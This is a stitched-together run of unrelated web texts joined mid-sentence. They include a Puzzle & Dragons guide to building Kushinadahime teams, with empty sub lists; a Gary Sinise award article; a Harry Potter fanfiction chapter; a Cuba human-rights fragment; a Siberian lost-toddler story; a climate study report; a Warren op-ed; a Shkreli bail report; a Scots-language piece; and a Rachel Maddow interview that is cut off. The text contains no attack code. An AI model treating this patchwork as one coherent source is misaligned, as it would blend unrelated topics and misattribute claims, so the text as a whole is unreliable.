stalling for orbs. Now, I’m only going to go over the key pro and con of Kushinada. For a great guide to use alongside my “analysis”, please check out Setsu’s blog here: (SetsuPAD Kushinada Article) Nez’s guide is absolutely wonderful so there’s no point in me going over the same material. Anyway, on with the guide. Pro: Her most defining feature setting her apart from Ra=Dragon and Dark Athena is complete damage control. While it takes some time to master, learning how to manipulate damage is the biggest reason to play Kushinadahime over Ra=Dragon. Con: There are many small negatives to Kushinadahime and no real glaring weakness. No RCV multiplier is covered by the team comprised entirely of healers and the RCV+35% badge. Her restrictive sub-pool is not that hard to build around with Inheritance being a thing. If I had to name one specific thing then I believe Kushinadahime’s biggest flaw is her lack of damage. Yes, Haku is amazing and has plenty of damage. Without her though, unless you are capable of averaging 8-9 combo, it will be a bit difficult to one-shot everything. Haku specifically is very strong and not particularly reflective of the strengths of the team. After all, Kushinadahime is a very strong leader even without owning a single Haku but I digress, let’s get into the rest of the analysis. Valkyries/ Guard Break: Is it worth it? I’ve seen some posts on reddit questioning the idea of using 3x Haku and 1x Valkyrie Reine to activate Guard Break on Reine. This is my two cents. Short Answer: Yes. Long Answer: If you can build your team around Guard Break without not butchering your composition then it is absolutely worth it. Understand that Kushinadahime has unreliable damage without using an active. It will be fairly rare that you don’t have to use a skill just to kill Predra and Tans in Arena 2 or 3 and saving that one active is incredibly valuable in a long dungeon like Arena 2 or 3. In other words, losing 170~ weighted stats for Guard Break is “worth it”. I put this in quotes because I assume for argument’s sake it’s a debate between Reine or Haku#4. People do love to point out the inconsistency of having all five colours on-board but that is irrelevant because I’m saying the “possible” upside of Guard Break vastly outweighs the loss of 130~ Weighted stats. After all, you do not need a 4th Haku anyways for the damage. You do more than enough with 2. Personally, I use Valkyrie Claire because I don’t have a full team of Haku anyways. (Though I do have 4 Haku on NA). I use Yuna to cover LIGHT because I do not have enough time extends on the rest of the team to average 8-combo otherwise. And those 4 Hakus on NA? I’ll be only use 2. Do I have to build the team DARK? (a.k.a. Haku, Haku, Haku.) To answer this question, you first have to fully understand the hype surrounding Haku and then look at the rest of your box. Haku is really strong and focusing your damage in dark is not going to be a bad idea if you’ve got a few. If you do not own Haku, you can still build your team dark. Likewise if you own Haku, you don’t have to build the team dark. Honestly, it is entirely dependent on your box, as with all leads. Haku absolutely makes our girl amazing. Between those weighted stats, double TPA and 7-C, Haku is undoubtedly a top contender for best sub in the game right now but this article isn’t about Haku; and Haku is not the end-all-be-all of Kushinadahime’s team. If you have one, put it on the team. If you have four, sure put them all of them team if you’d like because she’s just that strong. However, there are other subs to go over and I will be making mention of in my opinion, the best ones. Why: If you don’t have DARK healers, don’t force DARK. Healers in DARK are rare. Farmable subs aren’t all too impressive outside of Aamir who you’re not in need of because your leads are unbindable anyways and carry Recover Bind awakening. Haku’s active is good in FIRE/WATER based teams too. Particularly WATER because Kushi herself will be dealing some form of damage. Haku fits easily into all teams. Haku covers two colours that Kushi herself doesn’t have, easily satisfying anyone’s Guard Break, be it Valkyries or Princess Allura. Once again, I will remind people that Guard Break isn’t necessary. It’s just a nice tool to have when it’s not too hard to include into your team. Furthermore, 9-turn cooldown is not the worst to inherit over. Teambuilding: Pick a Colour, Any Colour FIRE ATTRIBUTE: At first I figured FIRE would not have a very good team. FIRE and WOOD are not really friends with each other, their synergy is weak outside of Leilan who is not a healer for Kushinadahime. Well, as it turns out, there’s a particular FIRE healer that a large part of the NA community has bought and has lying around. Hello Xiang Mei. With the eventual release of Awoken Uriel, and Valkyrie Femme already providing access to 7C awakening (icon), the team seems pretty solid. Things to note: Playing FIRE necessitates access to Fujin (you or friend’s) because Vishnu and Parvati will be a nightmare in Ultimate Arena. This is particularly the case if you have Xiang Mei’s Attacker-Killer awakening activated. HP is on the lower side because Uriel and Xiang Mei lacks HP. By “on the lower side” I’m talking about 50~60k HP so it’s not actually that low. Just low by Kushinadahime’s standards. Xiang Mei’s insane RCV stat comes into incredible use. I do not suggest buying Xiang Mei to play Kushinada but if you have her already, it seems very good on paper. Subs to note: 10 – 9 – 8 – 7 – 6 – Inherits of note: WATER ATTRIBUTE: WATER’s greatest weakness: lack of access to 7C awakening with Valkyrie Reine being the only healer with it. That being said, there are enough strong TPA and healer subs to not completely disregard a WATER Kushinadahime team. I have seen it over 3-player Co-op and it does not seem terrible. My only regret is that Gabriel’s Awoken form is not a healer. In my opinion, the WATER Kushinadahime team rides on the back on Reincarnated Sun Quan. Things to note: Double Sarasvati (even though they are Row subs) can create a steady stream of WATER orbs. Apex Blue Flower Dragon, Starling provides a strong farmable TPA healer sub that creates both WOOD and WATER orbs. Unfortunately, many healers in WATER are naturally Row-based subs A mix of Orb Enhance and TPA awakenings may provide the best results for damage. Subs to note: 10 – 9 – 8 – 7 – 6 – Inherits of note: WOOD ATTRIBUTE: I think the strongest feature in WOOD is the power of the subs possible in a fully unbindable team. That being said, these “strongest” subs are incredibly rare and highly sought after. I’m looking at G.Kali, Valkyrie Elize and School Girl Athena. Without these, the team is still strong but you have less breathing room to make an “OP” team. WOOD has access to some decent farmable options like Ras and Kaguyahime but not using them would be preferable. My main problem with playing WOOD is similar to WATER’s problem in that many subs are tuned to be Row subs (read: Astaroth’s friends). Astaroth and Michael are both good but they’re Row subs. I’ll cross my fingers that Michael remains a healer with his Awoken form but following the pattern of Gabriel, he will likely be an attacker. A Dupe Kushinada is pretty good actually. You can keep her in Awoken if you need the LIGHT sub-attribute for Valkyrie Elize or Reincarnate her for 40 more weighted stats and 1 more Time Extend. WOOD also lacks access to 7C unfortunately. Personally I run a half-WOOD, half-DARK team with my 1 Haku. Subs to note: 10 – 9 – * 8 – ** 7 – 6 – - Mito is only a great option if you’re ready to deal with damage absorb - Oichi is only a healer in her pre-volution Inherits of note: LIGHT ATTRIBUTE: Something good came out of our dear NA-exclusive collaboration, Voltron. Princess Allura gives LIGHT access to an incredibly strong 7C sub with Guard Break akin to the coloured Valkyries. In that sense, you could call her the real L.Valk. Beside her is the 6-star only Diao Chan who also has 7C and covers DARK easily for the Guard Break awakening. Healers are LIGHT’s territory so there is an abundance of good subs, especially in the Reincarnated category. Without Allura, the other Guard Break option is Chibi valkyrie rose and she’s not bad because LIGHT teams probably will be playing TPA. Valkyrie Ana, Elia and Sandalphon make for some strong farmable options LIGHT and WOOD are strong allies, with many board changers covering both their colours. Guard Break easily achievable with 2 subs or by putting Haku on the team to cover DARK/FIRE. Subs to note: 10 – 9 – 8 – 7 – Inherits to note: Excellent subs in Haku’s shadow – DARK ATTRIBUTE Alright, so we all know Haku is the star of the show here but what about her friends? Well if you do a quick search, you’ll quickly realize that there is a very limited sub-pool for DARK healers but they’re mostly good so I will go over them anyway. Beside Haku, there are 2 rarer but very viable (and arguably better in some contexts) 7C healers in Valkyrie Claire and Asmodeus Another You will be looking for inherits in different colours (because Mitsunari Ishida is a much easier to obtain Armoured Batman). Not a big deal, just something to point out. Subs to note: 10 – 9 – 8 – 7 – 6 – 5- Inherits of note: Sample Teams Some people prefer to learn by example so here are some example teams I have considered. FIRE – Colosseum: Main team – Inherits – Explanation: You’ll need the gravity in Colosseum and helps in an assortment of ways including the Time Extend to make some perfect boards. The burst from Arcline is much more necessary in Colosseum and A3 than A1/2 so you can put another Orb/Board changer on Xiang Mei on that case. Also, playing a DARK sub (yes, like Haku) gives access to Guard Break. Maybe replacing Coloring Book, Sakuya so that inheriting Reincarnated Hades gives Haku a much appreciated stats buff. WATER – Arena 3: Main team – Inherits – Explanation: Not much to say except that it’s a WATER-based TPA team as I had implied would be good in the WATER-Attribute section. WOOD/DARK Hybrid – Arena 3 (my team): My team – Inherits – I have 9 Time Extends to make Sheen’s damage worthwhile, though it could easily be Arcline too. The matchup against Hephaestus Dragon is fairly unfavourable but the other 4 dragons are pretty straightforward with some good comboing. Fujin is only necessary for HeraDra since there is little problem with Sopdet and Parvati (5 combo). Vishnu might be a little tough with bad boards so you might have to Fujin there. Michael’s active is used to heal quite often despite taking away DARK orbs. Individual Card Discussion: I suppose yes, they are fine subs. My first instinct was “they don’t provide very much!” but maybe that’s a bit harsh. I mean, some others on here are far more questionable. So are they good? Yes, they provide a quick board change with shorter CD than Haku quick is even better if you’re inheriting over it. I didn’t think very highly of the ability to create boards that let you activate Guard Break. I still believe that Famiel, Lumiel and Yang GuFei actives are far better but as bases these are fine. Not my cup of tea but if you’re building LIGHT or WATER Kushinada teams, go ahead! May 10/17 Edit : Added LKali, BKali and Uruka due to popular demand. Added Discussion Section. Also hyperlinked all the icons! AdvertisementsCorrection: The title of this article has been updated. The original title, “Actor Gary Sinise Is Honored with the Highest Medal Army Gives Civilians” was not correct, as the highest civilian medal is, in fact, the Secretary of the Army Public Service Medal. Additionally, the Marshall Award is being presented by an NGO, not the DA or DoD. Aside from his roles in “CSI: NY” and “Forrest Gump,” Gary Sinise is best recognized for his powerful, resounding, and commanding voice coming through televisions across the country, declaring: “There’s strong, and there’s Army strong.” Since playing Lt. Dan — a wounded combat veteran in “Forrest Gump” — Sinise has formed a deep relationship with wounded and disabled veterans all over the world. In fact, following September 11, 2001, Sinise formed the Lt. Dan Band to provide American troops with entertainment. He also founded the Gary Sinise Foundation to help “defenders, veterans, first responders, and their families” by “creating and supporting unique programs designed to entertain, educate, inspire, strengthen, and build communities.” And now, Sinise is receiving the “highest award for distinguished public service,” according to Military Times. Per the Association of the United States Army, the Marshall Medal is awarded for “selfless service to the United States of America” in “more than one area or under extraordinary circumstances.” The Military Times also noted that through Sinise’s foundation, he’s launched tremendously supportive programs like R.I.S.E. — which builds specially adapted homes for severely wounded veterans — Soaring Valor — which gifts WWII veterans the trip to pay their respects at the National Museum in New Orleans — and Relief & Resiliency Outreach — which provides complete support to those recovering from trauma. The medal is named after former General of the Army George Catlett Marshall Jr. — who also served as Secretary of State, Secretary of Defense and U.S. Special Envoy to China — and has been awarded to true American historical figures like Presidents Dwight D. Eisenhower, Gerald Ford, and George H.W. Bush. Sinise expressed his gratitude for the honor in a recent statement, saying: “I am honored to be invited to receive the George Catlett Marshall Medal from the Association of the United States Army. It has been a great blessing to know there is something I can do to support the men and women in uniform who defend our nation and I will look forward to expressing my gratitude in person at the Marshall Dinner.” Sinise will receive the honor on October 11 at the Marshall Dinner in Washington, D.C.A/N* Hey guys! Sorry it's been a while, but the bug for this story finally kicked in again so I decided to finish this chapter. Just a few things first. Remember when I said Lily won't be a part of this story? Yeah, I sorta changed my mind! Keep reading to find out more! I hope you enjoy! For those of you waiting on an update to C&C, I am about halfway through the next chapter and hope to have it up in a few weeks! Im so glad to be back! Chapter 8 "I Swear We're Stuck in a Crackfic!" Dear Remus, I don't want to alarm you, but I think we may have been wrong about Sirius. I don't think he was the secret keeper. In fact, I have solid proof that it was young Mr. Pettigrew. A lot has happened this year, and if I may, I want to let you know what has been taking place. It all started when Voldemort imperiused me to allow him to take the job as Defense Professor…. Remus sighed heavily, as he sat in a chair in his rundown shack and reread the letter from Dumbledore for what seemed like the millionth time. He had received it just that morning, and while most of it was disturbing, some of it was downright horrifying. Sirius is innocent. He thought, as he sighed with despair and slumped further down into the chair he was sitting in. He's been innocent all along, and I just let him rot in Azkaban. "What kind of friend am I?" He asked the empty shack he lived in. "What kind of monster let's his friends…" "…carry on pranking the world without having the decency of lending a hand?" A voice from the darkness asked. "A pretty poor one Moony." Remus leapt up from his chair and had his wand out in seconds. "Who's there?" He demanded sternly, wondering how and why this person was able to sneak up on him without his werewolf
governments back the criticism, others oppose it, seeing it as a cynical manipulation of a serious human rights issue in order to promote the isolation of the island and to justify the decades-old embargo.[89] European Union nations have universally voted against Cuba since 1990, though requests that the resolution should contain references to the negative effects of the economic embargo have been made.[90] Cuban human rights groups [ edit ] See also [ edit ]A hero pup in Siberia took a page out of Lassie’s playbook when he helped a 3-year-old girl survive for 11 days and nights in the Siberian wilderness. Little Larina Chikitova was lost deep in the bear- and wolf-infested woods of the frigid Sakha region, the coldest in Siberia, but she was able to beat the odds and find cover thanks to her pet dog, Kyrachaan, Central European News reports. Despite being in danger and without food for nearly two weeks, emergency officials believe the girl was able to survive on her own because she had Kyrachaan, which means “Little One,” by her side to help discover a safe place to sleep. Ducked down in a secure nest covered by tall grass, the toddler was hidden so well that even rescuers had a tough time finding her. Larina went into the woods, wandering after her father, who had embarked on a remote firefighting operation July 29, according to Central European News. Due to terrible phone reception, it wasn’t discovered that the young girl had been missing until four days later, when her mother was able to finally get through to her husband. The rescue operation began on Aug. 3. The rescuers remained hopeful because they knew she had the puppy with her and thought the canine could help her survive. Rescuers came across numerous bears before eventually finding the child. The tot was extremely thin, with mosquito bites covering most of her body, as well as scratches on her feet. Larina remembered everything about her frightening ordeal, especially how Kyrachaan had kept her safe and watched over her, Central European News reports. Social workers are investigating the family for neglect over the four-day delay in reporting the youngster missing.Canada's tar sands need to stay in the ground, the oil beneath the Arctic has to remain under the sea, and most of the world's coal must be left untouched in order to prevent global temperatures from rising more than 2°C, a study released Wednesday says. The research, unlike other bleak assessments of the world's climate predicament, zeroes in on which regions should halt their production of coal, oil, and gas—and by how much. It comes ahead of climate talks in Paris later this year that aim to broker a new global accord to cut greenhouse gas emissions. These emissions must remain within a "carbon budget" of about 1,100 gigatonnes of carbon dioxide by 2050 to meet the internationally accepted goal of limiting the rise in temperatures to 2°C (3.6°F) above preindustrial levels, according to the United Nations-led Intergovernmental Panel on Climate Change. To do that, countries must slash their use of fossil fuels. Absent a dramatic global policy shift, such as a universal tax on carbon emissions, the study seems to suggest that the 2°C goal is far out of reach. "These results demonstrate that a stark transformation in our understanding of fossil fuel availability is necessary," says the study, published in the journal Nature, by researchers at University College London's Institute for Sustainable Resources or UCL. (Related: "Scientists: Global Warming Likely to Surpass 2°C Target.") In addition to abandoning more than 80 percent of current global coal reserves, the researchers say, the world should forego extracting a third of its oil and half of its gas reserves before 2050. Of course, the real world is on a very different trajectory. The International Energy Agency has projected that the world's total carbon budget will be exceeded ten years earlier than the 2050 benchmark. The demand for energy, and therefore for fossil fuels, continues to grow. The study also casts a shadow on carbon capture and storage (CCS), hailed as the technology that will let us have our fossil fuels and burn them too by reducing smokestack emissions. According to the analysis, CCS would allow only a relatively small increase—at most 6 percent—in the amount of fossil fuel that could be burned while still preventing catastrophic warming. "Unburnable" Fuel The researchers ask the question: If we need to stay within a carbon limit, which fossil fuels should go unused, and where are they? To find the answer, they used computer models to run economic scenarios that showed how the use of fossil fuels would change if the cost of carbon emissions were factored in. The model assigned a price to carbon and assumed that all nations would cooperate on meeting the 2-degree goal. View Images The UCL study used an economic model to determine what percentage of each region's fossil fuel reserves should be left untouched in order to meet climate goals. Reserves are defined as fuels that could be developed given current technology and economic conditions. EMILY M. ENG, NG STAFF. SOURCE: C. MCGLADE AND P. EKINS. NATURE In the United States, where coal mining is already being challenged by existing and proposed regulations to curb pollution, 92 percent of the reserves—the amount that could feasibly be recovered given current technology and costs—would need to be left where they are. Europe would need to leave 78 percent of its coal alone; China and India, 66 percent. (Related: "In Climate Talks, Spotlight Turns to India"; "Can Coal Ever Be Clean?") If all that coal were left unused, natural gas would fill the gap, says study co-author Christophe McGlade, a research associate at UCL. "People often talk about gas as a bridging fuel or a transition fuel to a low carbon energy future," he says. "This work does support that to some extent." (Vote and comment: "Can Natural Gas Be a Bridge to Clean Energy?") McGlade cautions, however, that natural gas would need help from renewable energy, nuclear, and bioenergy to meet demand and that its use would eventually need to decline, leaving half its reserves untapped by 2050. "If that doesn't happen, then gas isn't really playing a transition fuel," he says. "It's become a destination fuel." China and India would need to leave 63 percent of their gas reserves alone in order to meet the warming target; the Middle East, 61 percent. By contrast, the study finds, Europe and the United States would be able to use a much larger share of their reserves, partly because they have supply and demand centers close by: They would have to abandon just 11 and 4 percent, respectively. As for oil, the Middle East holds more than half the world's "unburnable" oil, according to the analysis, or 38 percent of the region's reserves. Canada would not be able to use any oil from its emissions-intensive tar sands, McGlade says, unless the energy used during production became entirely carbon free. Of the Arctic's oil he says: "That's an unburnable resource if you want to stay below 2 degrees." (Related: "Denmark Eyes North Pole, But How Much Oil and Gas Await?") View Images The development of tar sands at sites in Canada, seen here, would need to be halted, in the analysis from University College London researchers. Photograph by Peter Essick, National Geographic Paying a Price, One Way or Another McGlade says he was surprised to see the relatively small impact that a wide ramp-up of CCS would have on our ability to burn more fossil fuels. The study finds that because CCS is a relatively new, expensive technology, it would come too late and on too limited a scale to make a difference before 2050. "A lot of companies and resource holders have claimed that CCS is this magic bullet: This will allow us to produce everything we want to, everywhere, and it will save us all," McGlade says. "However, that's not what the results suggest at all." The study's prescription for the world's energy powers seems far-fetched: It assumes that companies will be willing to walk away from billions of dollars in assets. Steven Davis, a climate scientist at University of California, Irvine, says the UCL paper did a nice job of mapping the "economic inertia" of current carbon emissions. (Related: "Tons of Emissions From Power Plants Are Already Locked In, Study Says.") "The economic realities of proven fossil reserves and existing fossil energy infrastructure are big reasons why" the current temperature target doesn't seem plausible, Davis says. "This is the proverbial cookie jar, and ambitious targets like 2°C mean walking past a quite full jar forevermore." Study co-author Paul Ekins contends that the cookies in that jar will go stale, as leaders begin to take climate change more seriously and enact policies that will make fossil fuels far less profitable. "There's some deeply irrational economic behavior going on here," Ekins says of energy companies that put "hundreds of billions of dollars into finding fossil fuel resources which, actually, they are not going to be able to exploit." He believes that in the long term, a greater focus on climate goals will make fossil fuel investments increasingly risky. Ekins says the recent plunge in oil prices, which dipped below $50 a barrel this week, was a double-edged sword: On the one hand, low-carbon sources become even more expensive compared with fossil fuels. On the other, low oil prices give a boost to the global economy that could make renewables more affordable. (Related: "Another Reactor Closes, Punctuating Reality for U.S. Nuclear Power.") "What would be ideal," he says, would be to "use the opportunity of this fall in the oil price to start instituting a global carbon tax, which would take some of the volatility out of the prices." Davis points to another moving target. "Large investments are being made to explore and prove fossil fuel resources," he says, pointing to technological advances such as hydraulic fracturing or fracking that have expanded North American oil and gas stores to a degree unforeseen just ten years ago. "Something not emphasized by the paper is that these reserves are not static. They are growing." On Twitter: Follow Christina Nunez and get more environment and energy coverage at NatGeoGreen.Why the progressive favorite is a downer The notion that Elizabeth Warren should challenge Hillary Clinton for the Democratic Party presidential nomination has been optimistically tossed around in left-wing circles for a while now. Activists at Netroots Nation recently chanted “Run, Liz, run.” And no doubt, the excitement generated by Warren is a function of her ideological sincerity—a sincerity that’s most obvious when contrasted with Hillary Clinton’s lack of earnestness and pandering. Still, it seems to me that a lot of people are overestimating the appeal, uniqueness, and popularity of Warren. What’s most enticing about Warren right now is the perception of her, not the reality. For starters, once you get past her impassioned sermons, and they can be quite entertaining, the most striking aspect of Warren’s big-message progressivism—the driving principles are laid out in the much-discussed “11 commandments” speech—is how small and ordinary it all is. She might offer Americans more “commandments” than God, but most of her directives can found on the “issues” page of any middling Democratic candidate’s website: We believe that Wall Street needs stronger rules and tougher enforcement, and we’re willing to fight for it. We believe in science, and that means that we have a responsibility to protect this Earth. We believe that no one should work full-time and still live in poverty, and that means raising the minimum wage. Immigration reform. “Science.” Protecting Social Security and Medicare. Equal pay. Rolling back some religious freedom and free speech … and you know the rest. As far as I can tell, Hillary supports every single one of these items. Then again, you probably don’t believe her. It’s when Warren goes full Progressive that she sounds like a irate union boss. She promises to “fight” for all of you, yet not one doctrine of the modern Left according to Warren has anything to do with broad economic growth. Put it this way: one the fundamental Progressive “commandments”—top 11! according to Warren—is this: We believe that fast-food workers deserve a livable wage, and that means that when they take to the picket line, we are proud to fight alongside them. Not exactly a shining city upon a hill. Maybe American idealism has degraded to the point that a politician who promises to stand on a picket line with fast food workers rather than a politician that promises to help fast food workers find better paying jobs is the one that captures the imagination of grassroots activist. Maybe progressivism has always been that way. It seems unlikely, though, that this kind of superficial populism will capture the imagination of the average voter. As the economy improves, in fact, inequality mongering will likely lose some of its political power—a development Barack Obama could probably confirm these days. When it worked, Obama’s rhetoric could be uplifting. He promised all of you health care. Warren promises you $10.10 a hour. Even the most appealing aspect of Warren’s politics, her alleged commitment to weakening Wall Street’s influence over Washington, is unconvincing. People were surprised when she offered to support the corporate welfare Export-Import Bank last week. But it wasn’t hypocrisy. We sometimes confuse those who try to restrict and control markets with those who have genuine anxieties about crony capitalism. It’s similar to the way we often confuse the coddling of rent-seeking corporations with “capitalism.” It’s worth noting that Warren was appointed chairwoman of the Congressional Oversight Panel on TARP. Most of her focus, then and later, was on how we spend bailout funds, not if we should spend them. Warren’s anti-cronyism is incidental; a byproduct of a Progressive political agenda that supports the funneling of nearly all serious economic choices (from mortgages to energy policy to health care) through Washington—the kind of policy that breeds the unhealthy relationships she claims to abhor. The “system is rigged,” Warren likes to say. And maybe she’s right. She just wants to rig it her way. Warren doesn’t have a problem with big banks or corporations. She has a problem with banks and corporations that make profits in ways that she finds morally intolerable. She is an opponent of dynamism, not cronyism. So where is the crossover appeal? And where’s all this support I keep reading about? When a new Washington Post-ABC News poll found that a majority of Democrats not only dislike “Wall Street” and big business, but believe these institutions are inflicting harm on them personally, Aaron Blake argued that the table was set for a Warren run. And shouldn’t that be the case? Yet, as Scott Conroy points out, in the latest RealClearPolitics national polling average for 2016 Democratic nomination, Warren sits around 60 points behind Clinton—with similar numbers in Iowa and New Hampshire. (Update: David Weigel contends that the movement to elect Warren president is “make believe.”) That’s not to say Warren can’t happen. Clinton proved there’s no such thing as iron-clad inevitability in politics. Though she’s a fresh political face, Warren is only about a year younger than Hillary. People tend to forget her time to run is also short. And I hope Warren does go for it. She would offer a more honest reflection of Democratic Party’s drift to the far Left on economics. But if anyone believes Democrats have another 2008-Obama on their hands, they haven’t really taken the time to listen to Elizabeth Warren. Follow David Harsanyi on Twitter.Martin Shkreli is heading to jail. A federal judge Wednesday revoked the former pharmaceutical exec's bail after he offered $5,000 to anyone who could grab a strand of Hillary Clinton's hair. Judge Kiyo Matsumoto said Shkreli, who was convicted of fraud in August and is awaiting sentencing, has "demonstrated that he has posed a real danger." In a Facebook post last week, Shkreli promoted a conspiracy about the Clinton Foundation and said he would pay any person who could procure a lock of hair from the former presidential candidate. Prosecutors said the post reflected "an escalating pattern of threats and harassment," adding that it had triggered an investigation by the Secret Service that required "a significant expenditure of resources." In a hearing in Brooklyn federal court, Judge Matsumoto said she was particularly concerned that he had "doubled down" on his challenge for someone to grab Clinton's hair. Shkreli said he required a hair with a follicle while urging his social media followers not to hurt anyone. She said his behavior indicates he is "an ongoing risk to the community." Until Wednesday, Shkreli remained free on $5 million bail. His sentencing is set for January 16. Shkreli, 34, has called the post "satire." He ultimately asked Judge Matsumoto not to penalize him for "poor judgment" in a letter filed Tuesday. "I understand now, that some may have read my comments about Mrs. Clinton as threatening, when that was never my intention when making those comments," Shkreli wrote in the letter. "I used poor judgment but never intended to cause alarm or promote any act of violence whatsoever." Related: Shkreli apologizes for Hillary Clinton post His defense lawyer, Benjamin Brafman, initially argued that Shkreli has a nonviolent background and was convicted on a nonviolent crime. He conceded that the comment was "stupid." "Stupid doesn't make you violent. Sometimes stupid is just plain stupid," he said. Once his client was remanded, Brafman pleaded with the judge to ban his client from social media instead of sending him to jail. Shkreli was convicted in August of two counts of fraud and one count of conspiracy for misleading investors in his hedge funds. The most serious count carries a maximum prison term of 20 years. Shkreli first gained notoriety in 2015 when he raised the price of a pill used by AIDS patients from $13.50 to $750 while he was CEO of Turing Pharmaceuticals. His bombastic personality and prolific use of social media has kept him in the spotlight since then. Even after his conviction, he continued livestreaming on YouTube from his apartment, predicting that his sentence would be "close to nil." Shkreli's online harassment of a Teen Vogue editor in January, which got him kicked off Twitter, also came up during Wednesday's hearing. He made sexually explicit comments about the editor on Facebook the night before closing arguments in his criminal trial. -- CNNMoney's Aaron Smith contributed to this report.Scotland has its first national Scots Scriever — author and playwright Hamish MacDonald. “I am delighted tae be offered the new an vitally important role as Scots Scriever wae the National Library o Scotland. I luik forwart tae workin wae communities throughoot Scotland in gie’in voice tae this vibrant language which, whether spoken or written, deserves tae be celebrated everywhere,” said MacDonald, in Scots of course. “Scriever” is Scots for “writer.” MacDonald was appointed “Scriever” by the National Library of Scotland and he will spend the next two years as the ambassador of the Scots language. “It’s really a creative writing post — stimulating existing writing in Scots, or to help new writing in Scots or spoken Scots; to help with storytelling, to look at some of the provenance of the language some of the contemporary uses of the language,” MacDonald says. MacDonald grew up in Clydeside, Scotland, an industrial region of the country, speaking what he calls a fragmented, colloquial form of Scots. “Although people did speak a lot of Scots, they didn’t really recognize it as such,” says MacDonald. “We grew up to a varying degree of who you are and where you come from with certain amount of Scots in your speech.” According to MacDonald, a recent census of the country counted 1.6 million people who speak or recognize Scots. “That’s about a third of the adult population, so there’s very much an appreciation if not a revival. It has no recognized status as a language, so it’s really down to appreciation,” he says. A resurgence of interest in the Scots language isn’t part of the recent Scottish movement for independence, but a moment that has been a long time coming, MacDonald says. “What’s happening now is a momentum that has built up over decades,” he says. Though many people know Scots primarily as a spoken language, there’s a long history of Scots literature going back to the medieval period. “The first written Scots was right about the 14th century, celebrating heroes and epic battles — and then it enjoyed a golden period in the late medieval ages with poets like Robert Hendryson and William Dunbar,” MacDonald explains. Scots became more of a spoken language as English influenced the written word. However there were moments of revival of Scots, with poets like Robert Burns, Sir Walter Scott as well as Robert Louis Stevenson. Writers like Hugh McDermott and Liz Lochhead continue to write in Scots today. “Revival may be one way of putting it, but certainly there’s been a great recognition and appreciation of the role of Scots,” MacDonald says.Looking for news you can trust? Subscribe to our free newsletters. If you don’t know by now, Rachel Maddow is the world’s most unlikely cable news talk-show host. For one thing, she doesn’t watch TV. And she’s young (35), is a Rhodes scholar with a PhD from Oxford, and is openly gay—an industry first. (More than one friend has told me that her ascent is some consolation for the passage of California’s anti-gay-marriage Prop 8.) But her combination of lefty sensibilities, a hipster vibe, wicked smarts, and genuine good cheer has taken the entire country by storm. She’s made msnbc competitive against cnn ‘s Larry King for the first time. Existing in the space between Jim Lehrer’s NewsHour and Jon Stewart’s Daily Show, Maddow’s hour-long show privileges reporters and actual experts over pundits, real information over blather and fake fights, and comes with healthy sides of sass and sarcasm. It’s a mix she learned at the left-of-center radio network Air America, where she still broadcasts a live show each weekday. In her spare time, Maddow’s writing a book on the role of politics in the US military. In her other spare time, she’s an enthusiast of graphic novels and mixology. An extended interview is available here. —Clara Jeffery Mother Jones: You’re TV’s “It Girl.” Why did your popularity take off so explosively? Rachel Maddow: Two things happened. One, I opened up an umbrella factory at the start of monsoon season. The other thing was that Keith Olbermann’s ratings are off the charts, so I have the best lead-in in cable news. I just hit the contextual lottery. MJ: You’ve risen to fame critiquing the Bush administration. Will your show change without that foil? RM: As if Fox News did really poorly with Bush in the White House? Not having the campaign to cover is the biggest change. But there’s probably been, I don’t know, three days in the nine years I’ve been in radio where I’ve felt like I was reaching, and that’s usually because I’m hungover. MJ: You’ve widened the circle of commentators you deem worthy of talking to. RM: The good thing about being—I don’t want to call myself a pioneer, so I won’t, but you know what I mean—is that you get to bring your peeps with you. And it’s not out of some effort at affirmative action, but you represent your own experience. MJ: You’re representing on a lot of different fronts: women, youngish people, gays and lesbians, lefties, Oxford PhDs, comic book enthusiasts… RM: People who aren’t conventionally attractive or a size zero, people with unruly hair. MJ: That must be a lot of pressure. RM: Well, it would be if I thought about it. But it’s just me and my conscience. That’s my only real audience. I care about what my girlfriend thinks, and my friends, but ultimately it’s me in the mirror. MJ: Speaking of mirrors, you changed your look a lot for TV. How was that handled? RM: It wasn’t at anybody else’s encouraging. I wanted my appearance to not be the only thing people would pay attention to. So essentially I was seeking genericness. MJ: Will women eventually be able to host a show and wear glasses? RM: I’m not sure msnbc would stop me from wearing my glasses now if I wanted to. The problem is technical, in that the frames are cheap plastic and they reflect. MJ: Although in the Kennedy era, everybody wore big, chunky glasses on air. RM: Women or was it all dudes? MJ: It was all dudes. RM: I mean, I’m sort of in “Dude Looks Like a Lady” territory anyway. MJ: Still, it’s nice that you have a hipster sensibility. There’s something so homogenized about the news on every level. RM: Working in news is a homogenizing lifestyle—that’s part of the problem. People say, “You seem too normal.” Well, yeah, I’ve been in this industry for six weeks. Wait until I’ve been working 14-hour days and having no outside life for five years. MJ: While at Stanford you were disastrously outed: You’d asked the interviewer to hold a story on being gay until you could tell your parents, but they didn’t. How does that make you feel about outing? RM: Well, that was more of a bumbling issue than an outing issue. I don’t think they did it out of malice. It was a student paper, and it just happened. Somebody did mail the interview to my parents, which was, I think, a malicious act, but you can spend your life being mad or you can realize you were dumb and didn’t protect yourself. MJ: But as the first lesbian talk-show news host…I don’t know what title you’d use… RM: It’s a very small glass ceiling I’ve broken. MJ: [Laughs.] …And the issue in general? RM: I’m in favor of outing when people have demonized or scapegoated gay people for their own public gain. I don’t think just being a Republican is reason enough. MJ: You’ve been an activist. Is being a journalist influenced by progressive values the same thing? RM: No. Activism is setting a goal of something you would like to be different, and figuring out what would have to change to achieve that goal. It’s sort of like math. What I’m doing in broadcasting isn’t anything like that. The only thing I’m trying to change in the world is to increase the amount of useful information in it. And entertainment, honestly. MJ: Speak of your love of Pat Buchanan. RM: Aww. Pat is a good debater, and I love that, and he has strong beliefs. He listens to people who disagree with him and he’s not condescending. MJ: He has a great laugh. RM: He does. And he knows a lot. You want to talk Watergate? He was there. You want to talk culture war? That was him. Southern strategy, comma, Buchanan. MJ: Does he get it when you introduce him with an “It’s Pat!” headline? RM: We’ve never talked TV shows, so I don’t know if he’s an snl guy. MJ: You’re writing a book about the influence of politics on the US Military. How is it changing? RM: My central thesis is that we need more politics in the military. This idea of “the foreign policy consensus” gave Congress an excuse to be hands-off about deploying armed forces for reasons that never got debated and were often scandalous when they came to light. The number of Iraq veterans who ran for Congress this year? Holy shit. To have the Democratic Party become the party of the veterans? There’s a realignment happening at the urging of members of the military who are sick of being used. MJ: Olbermann just renegotiated his contract for a reported $7.5 million a year. When do you get to renegotiate? RM: For $7.5 million? Ha! It remains to be seen whether I’m a flash in the pan. MJ: Is smart the new black? RM: [Laughs.] Black is the new 